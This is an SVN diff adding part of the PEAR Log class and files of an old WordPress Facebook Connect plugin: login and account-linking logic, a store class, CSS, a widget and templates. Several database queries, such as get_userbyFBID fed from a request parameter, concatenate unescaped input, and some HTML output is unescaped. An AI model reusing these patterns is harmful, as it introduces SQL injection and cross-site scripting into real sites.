+     * Calculate the log mask for the given priority.
+     *
+     * This method may be called statically.
+     *
+     * @param integer   $priority   The priority whose mask will be calculated.
+     *
+     * @return integer  The calculated log mask.
+     *
+     * @access  public
+     * @since   Log 1.7.0
+     */
+    function MASK($priority)
+    {
+        return (1 << $priority);
+    }
+
+    /**
+     * Calculate the log mask for all priorities up to the given priority.
+     *
+     * This method may be called statically.
+     *
+     * @param integer   $priority   The maximum priority covered by this mask.
+     *
+     * @return integer  The resulting log mask.
+     *
+     * @access  public
+     * @since   Log 1.7.0
+     *
+     * @deprecated deprecated since Log 1.9.4; use Log::MAX() instead
+     */
+    function UPTO($priority)
+    {
+        return Log::MAX($priority);
+    }
+
+    /**
+     * Calculate the log mask for all priorities greater than or equal to the
+     * given priority.  In other words, $priority will be the lowest priority
+     * matched by the resulting mask.
+     *
+     * This method may be called statically.
+     *
+     * @param integer   $priority   The minimum priority covered by this mask.
+     *
+     * @return integer  The resulting log mask.
+     *
+     * @access  public
+     * @since   Log 1.9.4
+     */
+    function MIN($priority)
+    {
+        return PEAR_LOG_ALL ^ ((1 << $priority) - 1);
+    }
+
+    /**
+     * Calculate the log mask for all priorities less than or equal to the
+     * given priority.  In other words, $priority will be the highests priority
+     * matched by the resulting mask.
+     *
+     * This method may be called statically.
+     *
+     * @param integer   $priority   The maximum priority covered by this mask.
+     *
+     * @return integer  The resulting log mask.
+     *
+     * @access  public
+     * @since   Log 1.9.4
+     */
+    function MAX($priority)
+    {
+        return ((1 << ($priority + 1)) - 1);
+    }
+
+    /**
+     * Set and return the level mask for the current Log instance.
+     *
+     * @param integer $mask     A bitwise mask of log levels.
+     *
+     * @return integer          The current level mask.
+     *
+     * @access  public
+     * @since   Log 1.7.0
+     */
+    function setMask($mask)
+    {
+        $this->_mask = $mask;
+
+        return $this->_mask;
+    }
+
+    /**
+     * Returns the current level mask.
+     *
+     * @return interger         The current level mask.
+     *
+     * @access  public
+     * @since   Log 1.7.0
+     */
+    function getMask()
+    {
+        return $this->_mask;
+    }
+
+    /**
+     * Check if the given priority is included in the current level mask.
+     *
+     * @param integer   $priority   The priority to check.
+     *
+     * @return boolean  True if the given priority is included in the current
+     *                  log mask.
+     *
+     * @access  private
+     * @since   Log 1.7.0
+     */
+    function _isMasked($priority)
+    {
+        return (Log::MASK($priority) & $this->_mask);
+    }
+
+    /**
+     * Returns the current default priority.
+     *
+     * @return integer  The current default priority.
+     *
+     * @access  public
+     * @since   Log 1.8.4
+     */
+    function getPriority()
+    {
+        return $this->_priority;
+    }
+
+    /**
+     * Sets the default priority to the specified value.
+     *
+     * @param   integer $priority   The new default priority.
+     *
+     * @access  public
+     * @since   Log 1.8.4
+     */
+    function setPriority($priority)
+    {
+        $this->_priority = $priority;
+    }
+
+    /**
+     * Adds a Log_observer instance to the list of observers that are listening
+     * for messages emitted by this Log instance.
+     *
+     * @param object    $observer   The Log_observer instance to attach as a
+     *                              listener.
+     *
+     * @param boolean   True if the observer is successfully attached.
+     *
+     * @access  public
+     * @since   Log 1.0
+     */
+    function attach(&$observer)
+    {
+        if (!is_a($observer, 'Log_observer')) {
+            return false;
+        }
+
+        $this->_listeners[$observer->_id] = &$observer;
+
+        return true;
+    }
+
+    /**
+     * Removes a Log_observer instance from the list of observers.
+     *
+     * @param object    $observer   The Log_observer instance to detach from
+     *                              the list of listeners.
+     *
+     * @param boolean   True if the observer is successfully detached.
+     *
+     * @access  public
+     * @since   Log 1.0
+     */
+    function detach($observer)
+    {
+        if (!is_a($observer, 'Log_observer') ||
+            !isset($this->_listeners[$observer->_id])) {
+            return false;
+        }
+
+        unset($this->_listeners[$observer->_id]);
+
+        return true;
+    }
+
+    /**
+     * Informs each registered observer instance that a new message has been
+     * logged.
+     *
+     * @param array     $event      A hash describing the log event.
+     *
+     * @access private
+     */
+    function _announce($event)
+    {
+        foreach ($this->_listeners as $id => $listener) {
+            if ($event['priority'] <= $this->_listeners[$id]->_priority) {
+                $this->_listeners[$id]->notify($event);
+            }
+        }
+    }
+
+    /**
+     * Indicates whether this is a composite class.
+     *
+     * @return boolean          True if this is a composite class.
+     *
+     * @access  public
+     * @since   Log 1.0
+     */
+    function isComposite()
+    {
+        return false;
+    }
+
+    /**
+     * Sets this Log instance's identification string.
+     *
+     * @param string    $ident      The new identification string.
+     *
+     * @access  public
+     * @since   Log 1.6.3
+     */
+    function setIdent($ident)
+    {
+        $this->_ident = $ident;
+    }
+
+    /**
+     * Returns the current identification string.
+     *
+     * @return string   The current Log instance's identification string.
+     *
+     * @access  public
+     * @since   Log 1.6.3
+     */
+    function getIdent()
+    {
+        return $this->_ident;
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbConnectLogic.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbConnectLogic.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbConnectLogic.php	(revision 44)
@@ -0,0 +1,460 @@
+<?php
+/**
+ * @author: Javier Reyes Gomez (http://www.sociable.es)
+ * @date: 05/10/2008
+ * @license: GPLv2
+ */
+if (!class_exists('WPfbConnect_Logic')):
+
+/**
+ * Basic logic for wp-fbConnect plugin.
+ */
+class WPfbConnect_Logic {
+
+	function get_connected_friends($fb_uid) {
+	  $results = array();
+	  $query = 'SELECT uid, email_hashes, has_added_app FROM user WHERE has_added_app = 1 AND uid IN '.
+	    '(SELECT uid2 FROM friend WHERE uid1 = '.$fb_uid.')';
+	  $rows = fb_fql_query($query);
+	    
+	    // Do filtering in PHP because the FQL doesn't allow it (yet)
+	    if ($rows!=null && !empty($rows)) {
+	      foreach ($rows as $row) {
+	        if ((is_array($row['email_hashes']) && count($row['email_hashes']) > 0) ||
+	            ($row['has_added_app'] == 1)) {
+	          unset($row['has_added_app']);
+	          $results[] = $row;
+	        }
+	      }
+	    }
+	
+	  return $results;
+	}
+
+	/**
+	 * Soft verification of plugin activation
+	 *
+	 * @return boolean if the plugin is okay
+	 */
+	function uptodate() {
+		global $fbconnect;
+
+		if( get_option('fb_db_revision') != FBCONNECT_DB_REVISION ) {
+			$fbconnect->enabled = false;
+			update_option('fb_plugin_enabled', false);
+			return false;
+		}
+		$fbconnect->enabled = (get_option('fb_plugin_enabled') == true );
+		return $fbconnect->enabled;
+	}
+
+
+	/**
+	 * Get the internal SQL Store.  If it is not already initialized, do so.
+	 *
+	 * @return WPfbConnect_Store internal SQL store
+	 */
+	function getStore() {
+		global $fbconnect;
+
+		if (!isset($fbconnect->store)) {
+			set_include_path( dirname(__FILE__) . PATH_SEPARATOR . get_include_path() );
+			require_once 'fbConnectStore.php';
+
+			$fbconnect->store = new WPfbConnect_Store($fbconnect);
+			if (null === $fbconnect->store) {
+				$fbconnect->enabled = false;
+			}
+		}
+
+		return $fbconnect->store;
+	}
+
+
+
+
+	/**
+	 * Called on plugin activation.
+	 *
+	 * @see register_activation_hook
+	 */
+	function activate_plugin() {
+		global $fbconnect;
+		//fbconnect_init();
+
+		$store =& WPfbConnect_Logic::getStore();
+		$store->create_tables();
+
+	}
+
+
+
+	/**
+	 * Called on plugin deactivation.  Cleanup tables.
+	 *
+	 * @see register_deactivation_hook
+	 */
+	function deactivate_plugin() {
+	}
+
+
+	/**
+	 * Facebook connect Login 
+	 */
+	function wp_login_fbconnect() {
+		
+		global $wp_version;
+		$self = basename( $GLOBALS['pagenow'] );
+		
+		$fb_user = fb_get_loggedin_user();
+		
+		$user = wp_get_current_user();
+
+		if ( $fb_user && (!is_user_logged_in() || $user->fbconnect_userid != $fb_user)) { //Intenta hacer login estando registrado en facebook
+			require_once(ABSPATH . WPINC . '/registration.php');
+			$usersinfo = fb_user_getInfo($fb_user);
+
+			$wpid = "";
+			$fbwpuser = WPfbConnect_Logic::get_userbyFBID($fb_user);
+			$wpid = "";
+			if (!is_user_logged_in() && !$fbwpuser){
+				$userdata = get_userdatabylogin( "FB_".$fb_user );	
+				if((!$userdata || $userdata=="") && isset($usersinfo) && $usersinfo!=""){
+					$user_data = array();
+					$user_data['user_login'] = "FB_".$fb_user;
+					$user_data['user_pass'] = substr( md5( uniqid( microtime() ).$_SERVER["REMOTE_ADDR"] ), 0, 15);
+					$user_data['user_nicename'] = $usersinfo["first_name"]." ".$usersinfo["last_name"];
+					$user_data['display_name'] = $usersinfo["first_name"]." ".$usersinfo["last_name"];
+					$user_data['user_url'] = $usersinfo["profile_url"];
+					$wpid = wp_insert_user($user_data);
+					update_usermeta( $wpid, "first_name", $usersinfo["first_name"] );
+					update_usermeta( $wpid, "last_name", $usersinfo["last_name"] );
+					//update_usermeta( $wpid, "description", $usersinfo["about_me"] );
+					//update_usermeta( $wpid, "birthday", $usersinfo["birthday"] );
+					//update_usermeta( $wpid, "current_location", $usersinfo["current_location"] );
+					//update_usermeta( $wpid, "sex", $usersinfo["sex"] );
+					WPfbConnect_Logic::set_userid_fbconnect($wpid,$fb_user);
+				}else{
+					WPfbConnect_Logic::set_userid_fbconnect($userdata->ID,$fb_user);
+					$wpid = $userdata->ID;
+				}
+			}elseif(is_user_logged_in() && $fbwpuser && $user->ID != $fbwpuser->ID){ // El usuario FB estÃ¡ asociado a un usaurio WP distinto al logeado
+				WPfbConnect_Logic::set_userid_fbconnect($user->ID,$fb_user);
+				WPfbConnect_Logic::set_userid_fbconnect($fbwpuser->ID,"0"); //Eliminamos la asociaciÃ³n anterior
+				$wpid = $user->ID;
+			}elseif(is_user_logged_in() && $user->fbconnect_userid != $fb_user){ // El usuario WP no estÃ¡ asociado al de FB
+				WPfbConnect_Logic::set_userid_fbconnect($user->ID,$fb_user);
+				$wpid = $user->ID;
+			}else{
+				$wpid = $user->ID;
+			}
+
+			//$userdata = get_userdatabylogin( "FB_".$fb_user );
+			$userdata = WPfbConnect_Logic::get_userbyFBID($fb_user);
+			WPfbConnect_Logic::set_lastlogin_fbconnect($userdata->ID);
+			global $current_user;
+//			print_r($current_user);
+//			print_r($userdata);
+			$current_user = null;
+			
+			WPfbConnect_Logic::fb_set_current_user($userdata);
+			global $userdata;
+			if (isset($userdata) && $userdata!="")
+				$userdata->fbconnect_userid = $fb_user;
+			//wp_set_auth_cookie($userdata->ID, false);
+
+		}
+	}
+
+
+	function fb_set_current_user($userdata, $remember = true) {
+
+		$user = set_current_user($userdata->ID);
+			
+		if (function_exists('wp_set_auth_cookie')) {
+			wp_set_auth_cookie($userdata->ID, $remember);
+		} else {
+			wp_setcookie($userdata->user_login, md5($userdata->user_pass), true, '', '', $remember);
+		}
+
+		//do_action('wp_login', $user->user_login);
+	}
+
+
+	//REYES
+	function fb_logout(){
+		fb_expire_session();
+	}
+	
+
+	function comment_fbconnect($comment_ID) {
+		global $fbconnect;
+//REYES
+		$comment = WPfbConnect_Logic::get_comment_byID($comment_ID);
+		$fb_user = fb_get_loggedin_user();
+			
+			if (is_user_logged_in() && $fb_user){
+		
+				WPfbConnect_Logic::set_comment_fbconnect($comment_ID,$fb_user);
+
+				if ($_REQUEST["sendToFacebook"]){
+					$blogname = get_option('blogname');
+					$blogdesc = get_option('blogdescription');
+					$siteurl = get_option('siteurl');
+				
+					$url = get_permalink($comment->comment_post_ID);
+
+			  		$template_data = array('post_title' => '<a href="'.$url.'">'.$comment->post_title.'</a>',
+			                         'body' => apply_filters( 'comment_text', $comment->comment_content),
+			                         'body_short' => substr(strip_tags(apply_filters( 'comment_text', $comment->comment_content)),0,255),
+			                         'post_permalink' => $url,
+						 'blogname' => '<a href="'.$siteurl.'">'.$blogname.'</a>',
+						 'blogdesc' => $blogdesc,
+						 'siteurl' => $siteurl);
+					$_SESSION["template_data"]= $template_data;
+					//fb_feed_publishUserAction($template_data);
+				}
+			}
+
+	}
+
+
+	/**
+	 * Mark the provided comment as an Facebook Connect comment
+	 *
+	 */
+	function set_comment_fbconnect($comment_ID,$fb_user = 0) {
+		global $wpdb, $fbconnect;
+
+		$comments_table = WPfbConnect::comments_table_name();
+		$wpdb->query("UPDATE $comments_table SET fbconnect='".$fb_user."' WHERE comment_ID='$comment_ID' LIMIT 1");
+	}
+
+	/**
+	 * Update last user login date
+	 *
+	 */
+	function set_lastlogin_fbconnect($userID) {
+		global $wpdb, $fbconnect;
+		$users_table = WPfbConnect::users_table_name();
+		$wpdb->query("UPDATE $users_table SET fbconnect_lastlogin=".date("U")." WHERE ID='$userID' LIMIT 1");
+	}
+	
+	/**
+	 * Get last users
+	 *
+	 */
+	function get_lastusers_fbconnect($num = 10,$start=0) {
+		global $wpdb, $fbconnect;
+		$users_table = WPfbConnect::users_table_name();
+		$users = $wpdb->get_results("SELECT * FROM $users_table ORDER BY fbconnect_lastlogin DESC LIMIT ".$start.",".$num);
+		return $users;
+	}
+
+	/**
+	 * User count
+	 *
+	 */
+	function get_count_users() {
+		global $wpdb, $fbconnect;
+		$users_table = WPfbConnect::users_table_name();
+		$users = $wpdb->get_results("SELECT count(ID) as userscount FROM $users_table");
+		if (count($users)>0){
+			return $users[0]->userscount;
+		}else{
+			return null;
+		}
+	}
+		
+	/**
+	 * Get user by fbid
+	 *
+	 */
+	function get_userbyFBID($fbid) {
+		global $wpdb, $fbconnect;
+		$users_table = WPfbConnect::users_table_name();
+		$users = $wpdb->get_results("SELECT * FROM $users_table WHERE fbconnect_userid = ".$fbid);
+		if (count($users)>0){
+			return $users[0];
+		}else{
+			return null;
+		}
+	}
+	
+	/**
+	 * Update Facebook userID
+	 *
+	 */
+	function set_userid_fbconnect($userID,$fbuserid) {
+		global $wpdb, $fbconnect;
+		$users_table = WPfbConnect::users_table_name();
+		$wpdb->query("UPDATE $users_table SET fbconnect_userid=".$fbuserid." WHERE ID='$userID' LIMIT 1");
+	}
+
+	/**
+	 * Get community comments
+	 *
+	 */
+	function get_community_comments($limit=10) {
+		global $wpdb;
+		return $wpdb->get_results($wpdb->prepare("SELECT * FROM $wpdb->comments wpcomments, $wpdb->posts posts WHERE wpcomments.comment_post_ID=posts.ID AND wpcomments.comment_approved = '1' ORDER BY comment_date DESC LIMIT ".$limit));
+	}
+		
+	/**
+	 * Get user comments
+	 *
+	 */
+	function get_user_comments($user_id,$limit=25) {
+		global $wpdb;
+		return $wpdb->get_results($wpdb->prepare("SELECT * FROM $wpdb->comments wpcomments, $wpdb->posts posts WHERE wpcomments.comment_post_ID=posts.ID AND wpcomments.fbconnect = %s AND wpcomments.comment_approved = '1' ORDER BY comment_date DESC LIMIT ".$limit, $user_id));
+	}
+	
+	/**
+	 * Get user comments
+	 *
+	 */
+	function get_user_comments_byID($user_id,$limit=25) {
+		global $wpdb;
+		return $wpdb->get_results($wpdb->prepare("SELECT * FROM $wpdb->comments wpcomments, $wpdb->posts posts WHERE wpcomments.comment_post_ID=posts.ID AND wpcomments.user_id = %s AND wpcomments.comment_approved = '1' ORDER BY comment_date DESC LIMIT ".$limit, $user_id));
+	}
+	
+	/**
+	 * Get a comment by ID
+	 *
+	 */
+	function get_comment_byID($comment_id) {
+		global $wpdb;
+		$comments = $wpdb->get_results($wpdb->prepare("SELECT * FROM $wpdb->comments wpcomments, $wpdb->posts posts WHERE wpcomments.comment_post_ID=posts.ID AND wpcomments.comment_ID = %s", $comment_id));
+		if ($comments != ""){
+			return $comments[0];			
+		}
+	}
+
+	/**
+	 * This filter callback simply approves all Facebook Connect comments
+	 *
+	 * @param string $approved comment approval status
+	 * @return string new comment approval status
+	 */
+	function comment_approval($approved) {
+		$fb_user = fb_get_loggedin_user();
+		if ($fb_user) {
+			return 1;
+		}else{
+			return $approved;
+		}
+	}
+
+	function html_namespace($html_lang){
+		return "xmlns:fb=\"http://www.facebook.com/2008/fbml\" ".$html_lang;
+	}
+
+	function fb_get_avatar($avatar=null, $id_or_email = null, $size = null, $default=null){
+		$fbuser = "";
+		$username = "";
+		if ( is_numeric($id_or_email) ) {
+			$id = (int) $id_or_email;
+			$user = get_userdata($id);
+			$username = $user->display_name;
+			if ( $user && isset($user->fbconnect_userid) && $user->fbconnect_userid!=""){
+					$fbuser = $user->fbconnect_userid;
+			}
+		} elseif ( is_object($id_or_email) ) {
+			if ( !empty($id_or_email->fbconnect) && $id_or_email->fbconnect!="0" ) {
+				$id = (int) $id_or_email->user_id;
+				$fbuser = $id_or_email->fbconnect;
+			}else if ( !empty($id_or_email->user_id) ) {
+				$id = (int) $id_or_email->user_id;
+				$user = get_userdata($id);	
+				$username = $user->display_name;
+				if ( $user && isset($user->fbconnect_userid) && $user->fbconnect_userid!=""){
+					$fbuser = $user->fbconnect_userid;
+				}
+			}
+		}else{
+			global $comment;
+			if (isset($comment) && $comment!="" && !empty($comment->fbconnect) && $comment->fbconnect!="0"){
+				$fbuser = $comment->fbconnect;
+				$id=$comment->user_id;
+			}
+		}
+		if ($fbuser != "" && $fbuser != 0){
+			return "<span class=\"avatar\"><a onclick=\"location.href='".get_option('siteurl')."/?fbconnect_action=myhome&amp;userid=".$id."';\" href=\"".get_option('siteurl')."/?fbconnect_action=myhome&amp;userid=".$id."\"><fb:profile-pic uid=\"".$fbuser."\" size=\"square\" linked=\"false\"></fb:profile-pic></a></span>";
+		}elseif($id!=""){
+			return "<a href=\"".get_option('siteurl')."/?fbconnect_action=myhome&amp;userid=".$id."\">".$avatar."</a>";
+		}
+
+		return $avatar;
+	}
+
+
+
+	function set_error($error) {
+		$_SESSION['fb_error'] = $error;
+		return;
+	}
+	
+	function get_user(){
+		$fb_user ="";
+		$wpuser ="";
+		if (isset($_REQUEST['userid']) && $_REQUEST['userid']!=""){
+			$wpuser = $_REQUEST['userid'];
+		}elseif (isset($_REQUEST['fbuserid']) && $_REQUEST['fbuserid']!=""){
+			$fb_user = $_REQUEST['fbuserid'];
+		}else{
+			$fb_user = fb_get_loggedin_user();
+		}
+
+		if ($fb_user!=""){
+			$userprofile = WPfbConnect_Logic::get_userbyFBID($fb_user);
+		}elseif($wpuser){
+			$userprofile= get_userdata($wpuser);
+		}
+		return $userprofile;
+	}
+	
+	function fbconnect_init_scripts(){
+		if (get_option('fb_use_ssl')){
+			echo "<script src='".get_ssl_root()."/js/api_lib/v0.4/FeatureLoader.js.php' type='text/javascript'></script>\n";
+		}else{
+			echo "<script src='".get_static_root()."/js/api_lib/v0.4/FeatureLoader.js.php' type='text/javascript'></script>\n";
+		}
+		echo "<script type='text/javascript'>\n";
+		echo "FB_RequireFeatures([\"XFBML\"], function(){\n";
+		if (get_option('fb_use_ssl')){
+	    		echo "FB.Facebook.init(\"".get_api_key()."\", \"".FBCONNECT_PLUGIN_URL. "/xd_receiver_ssl.htm\");\n";
+	    	}else{
+	    		echo "FB.Facebook.init(\"".get_api_key()."\", \"".FBCONNECT_PLUGIN_URL. "/xd_receiver.htm\");\n";
+	    	}
+		$fb_user = fb_get_loggedin_user();
+		$uri = "";
+		if (isset($_SERVER["REQUEST_URI"])){
+			$uri = $_SERVER["REQUEST_URI"];			
+		}
+			
+/*		if (!$fb_user){
+			echo "	    FB.Facebook.get_sessionState().waitUntilReady(function(session){\n";
+			echo "      var is_now_logged_into_facebook = session ? true : false;\n";
+			echo "      alert(\">\"+ is_now_logged_into_facebook);\n" ;
+			echo "		if (is_now_logged_into_facebook){\n";
+			echo "  		window.location = \"".$uri."\";}\n";
+		  	echo "});\n";
+		}*/
+	    echo "});\n";
+	   	echo "</script>\n";
+		fb_showFeedDialog();
+	}
+
+//Replace user comments url with profile url
+function get_comment_author_url($url){
+	global $comment;
+	if ($comment->user_id!="" && $comment->user_id!="0"){
+		return get_option('siteurl')."/?fbconnect_action=myhome&amp;userid=".$comment->user_id;
+	}
+	return $url;
+}
+
+} 
+endif; // end if-class-exists test
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbConnectStore.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbConnectStore.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbConnectStore.php	(revision 44)
@@ -0,0 +1,63 @@
+<?php
+/**
+ * @author: Javier Reyes Gomez (http://www.sociable.es)
+ * @date: 05/10/2008
+ * @license: GPLv2
+ */
+
+if (!class_exists('WPfbConnect_Store')):
+class WPfbConnect_Store {
+	var $comments_table_name;
+	var $usermeta_table_name;
+	var $users_table_name;
+
+	function WPfbConnect_Store()
+	{
+		global $wpdb;
+
+		$table_prefix = isset($wpdb->base_prefix) ? $wpdb->base_prefix : $wpdb->prefix;
+
+		$this->comments_table_name =  $table_prefix . 'comments';
+		$this->usermeta_table_name =  $wpdb->prefix . 'usermeta';
+		$this->users_table_name =  $wpdb->prefix . 'users';
+	
+	}
+
+	function isError($value)
+	{
+		return $value === false;
+	}
+
+	/**
+	 * Create Facebook Connect columns 
+	 */
+	function create_tables()
+	{
+		global $wp_version, $wpdb, $fbconnect;
+
+		if ($wp_version >= '2.3') {
+			require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
+		} else {
+			require_once(ABSPATH . 'wp-admin/admin-db.php');
+			require_once(ABSPATH . 'wp-admin/upgrade-functions.php');
+		}
+
+		// add column to comments table
+		$result = maybe_add_column($this->comments_table_name, 'fbconnect',
+				"ALTER TABLE $this->comments_table_name ADD `fbconnect` varchar(50) NOT NULL DEFAULT '0'");
+
+		// add column to users table
+		$result = maybe_add_column($this->users_table_name, 'fbconnect_lastlogin',
+				"ALTER TABLE $this->users_table_name ADD `fbconnect_lastlogin` int(14) NOT NULL DEFAULT '0'");
+
+		// add column to users table
+		$result = maybe_add_column($this->users_table_name, 'fbconnect_userid',
+				"ALTER TABLE $this->users_table_name ADD `fbconnect_userid` varchar(250) NOT NULL DEFAULT '0'");
+
+	}
+
+}
+endif;
+
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbconnect.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbconnect.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbconnect.css	(revision 44)
@@ -0,0 +1,149 @@
+#fbconnect_enabled_link, .fbconnect_link,  #fbconnect_url, #commentform #fbconnect_url {
+	background: url('fbconnect.png') center left no-repeat; 
+	padding-left: 18px; 
+}
+
+body.login #fbconnect_url {
+	width: 92%;
+	font-size: 20px;
+	background-color: #FFF;
+	border: 1px solid #ccc;
+	padding: 3px 3px 3px 18px;
+	margin-right: 6px;
+}
+
+.fbnarrowcolumn {
+	overflow: hidden;
+	float: left;
+	display: block;
+	padding: 0 10px 20px 25px;
+	margin: 15px 0 0;
+	width: 500px;
+}
+	
+
+#fbconnect_rollup {
+	margin-top: 1em;
+}
+
+#fbconnect_rollup div div { margin: 0.5em; }
+#fbconnect_rollup ul { margin: 0; padding: 0 0 0 5em; }
+
+.fbconnect_userprofile{
+	display: block;
+	width: 100%;
+}
+
+.fbconnect_profiletexts{
+		float: left;
+		margin-left:5px !important;
+		display: block;
+	    width: 350px;
+}
+
+.fbconnect_LastUsers{
+	background-color: #d5d6d7;
+	margin-top:5px !important;
+	padding:3px !important;
+}
+
+.fbconnect_userpicmain{
+		display: block;
+	float: left;
+	border: 2px solid #d5d6d7;
+	margin-right:5px !important;
+	margin-bottom:2px !important;
+	overflow: hidden;
+	cursor:hand;
+}
+.fbconnect_miniprofiletext{
+	float: left;
+}
+
+
+.fbconnect_miniprofile{
+	overflow: hidden;
+	display: block;
+	margin-top:5px !important;
+}
+	
+.invitebutton{
+	overflow: hidden;
+	display: block;
+	width: 100%;
+	margin-top:5px !important;
+	margin-bottom:5px !important;
+}
+.fbconnect_userpics{
+	width: 100%;
+	overflow: hidden;
+	margin-bottom:5px !important;
+	padding-bottom:5px !important;
+	border-bottom: 1px solid #CCCCCC;
+}
+
+.fbconnect_userpics a{
+	border: 2px solid white;
+	float: left;
+	display: block;
+	background-color: #d5d6d7;
+	margin-right:4px !important;
+	margin-bottom:4px !important;
+	font-size: 11px;
+	width: 50px;
+	height: 50px;
+	overflow: hidden;
+	cursor:hand;
+}
+.fbconnect_userpics2{
+	width: 100%;
+	overflow: hidden;
+	margin-bottom:5px !important;
+	padding-bottom:5px !important;
+	border-bottom: 1px solid #CCCCCC;
+}
+.fbconnect_userpics2 a{
+	border: 2px solid #d5d6d7;
+	float: left;
+	display: block;
+	background-color: #d5d6d7;
+	margin-right:4px !important;
+	margin-bottom:4px !important;
+	font-size: 11px;
+	width: 50px;
+	height: 50px;
+	overflow: hidden;
+	cursor:hand;
+}
+
+.fbconnect_title{
+	margin-top:3px !important;
+	margin-bottom:8px !important;
+	
+	border-bottom: 1px solid #CCCCCC;
+	
+	
+	font-family: 'Trebuchet MS', Verdana, sans-serif;
+	font-size: x-small;
+	line-height: normal;
+	font-weight: normal;
+	
+	text-transform: uppercase;
+	letter-spacing: .3em;
+	text-align: left;
+}
+
+.fbconnect_share{
+	width: 95%;
+	border-top: 1px solid #CCCCCC;
+	border-left: 1px solid #CCCCCC;
+	border-right: 2px solid #CCCCCC;
+	border-bottom: 2px solid #CCCCCC;
+	margin: 3px;	
+	padding: 3px;
+	text-align: right;
+}
+.icon-text-middle{
+	vertical-align:middle;
+	margin-right:5px;
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbconnect_tab.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbconnect_tab.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbconnect_tab.php	(revision 44)
@@ -0,0 +1,18 @@
+<?php 
+get_header(); 
+?>
+	<div id="content" class="narrowcolumn">
+		<div style="width:100%;clear:both;">&nbsp;</div>
+		<h2><?php _e('User comments', 'fbconnect') ?></h2>
+		<?php
+			if(file_exists (TEMPLATEPATH.'/usercomments.php')){
+				include( TEMPLATEPATH.'/usercomments.php');
+			}else{
+				include( FBCONNECT_PLUGIN_PATH.'/usercomments.php');
+			}
+		?>
+	</div>
+
+<?php 
+get_footer(); 
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbconnect_widget.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbconnect_widget.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbconnect_widget.php	(revision 44)
@@ -0,0 +1,45 @@
+<?php
+/**
+ * @author: Javier Reyes Gomez (http://www.sociable.es)
+ * @date: 23/12/2008
+ * @license: GPLv2
+ */
+
+	if ( $user->ID ) {
+		echo "<div class=\"fbconnect_miniprofile\">";
+		echo "<div class=\"fbconnect_userpicmain\"><a onclick=\"location.href='".$siteurl."/?fbconnect_action=myhome&amp;userid=".$user->ID."';\" href=\"".$siteurl."/?fbconnect_action=myhome&amp;userid=".$user->ID."\"><fb:profile-pic uid=\"".$user->fbconnect_userid."\" size=\"thumb\" linked=\"false\"></fb:profile-pic></a></div>";
+		echo "<p>".$welcometext;
+		echo "<br/><a href=\"".$siteurl."/?fbconnect_action=myhome&amp;userid=".$user->ID."\">".$user->display_name."</a>";
+		echo "<br/><a href=\"".$siteurl."/wp-admin/profile.php"."\">Edit profile</a>";
+		echo '<br/><a href="#" onclick="FB.Connect.logout(function() { window.location = \''.$siteurl.'/?fbconnect_action=logout'.'\'; })">Logout</a>';
+		echo "</p>";
+		echo "</div>";
+	}else{
+		echo $alreadytext."<br/>";
+		echo '<a href="'.$siteurl.'/wp-login.php'.'"><b>Login</b></a><br/>';
+	}
+	echo "<div class=\"invitebutton\">";
+	
+	if ($fb_user){
+		echo "<input type=\"button\" value=\"".$invitetext."\" style=\"width:100%;\" onclick=\"location.href='".$siteurl."/?fbconnect_action=invite'\"/>";
+	}else{
+		echo $logintext."<br/>";	
+		echo "<fb:login-button length=\"".$loginbutton."\" onlogin=\"window.location = '".$uri."';\"></fb:login-button>\n";
+	}
+	echo "</div>";		
+	
+
+	echo "<div class=\"fbconnect_LastUsers\">";
+	echo "<div class=\"fbconnect_title\">".$lastvisittext."</div>";
+	echo "<div class=\"fbconnect_userpics\">";
+	
+
+	foreach($users as $user){
+			echo get_avatar( $user->ID,50 );
+	}
+
+	echo "</div>";
+	echo '<div style="text-align:right;"><a href="'.$siteurl.'/?fbconnect_action=community'.'">'.__('view more...', 'fbconnect').' </a></div>';
+	echo "</div>";
+
+?> 
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/invitefriends.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/invitefriends.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/invitefriends.php	(revision 44)
@@ -0,0 +1,32 @@
+<?php get_header(); ?>
+<div style="margin-left:20px;width:95%;">
+
+	<h2 class="widgettitle"><?php _e('Invite your friends', 'fbconnect') ?></h2>
+	  <fb:serverfbml style="width: 100%;">
+	    <script type="text/fbml">
+	      <fb:fbml>
+	          <fb:request-form
+	                    action="<?php echo get_option('siteurl'); ?>"
+	                    method="GET"
+	                    invite="true"
+	                    type="<?php echo get_option('blogname');?>"
+	                    content="<?php echo get_option('blogname')." : ".get_option('blogdescription'); ?>
+	                 <fb:req-choice url='<?php echo get_option('siteurl'); ?>'
+	                       label='<?php _e('Become a Member!', 'fbconnect') ?>' />
+	              "
+	              >
+	 
+	                    <fb:multi-friend-selector
+	                    showborder="false"
+	                    actiontext="<?php _e('Select the friends you want to invite.', 'fbconnect') ?>">
+	        </fb:request-form>
+	      </fb:fbml>
+	 
+	    </script>
+	  </fb:serverfbml>
+
+ </div>
+
+
+
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/lang/DHORDAIN/fbconnect-fr_FR.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/lang/DHORDAIN/fbconnect-fr_FR.po	(revision 44)
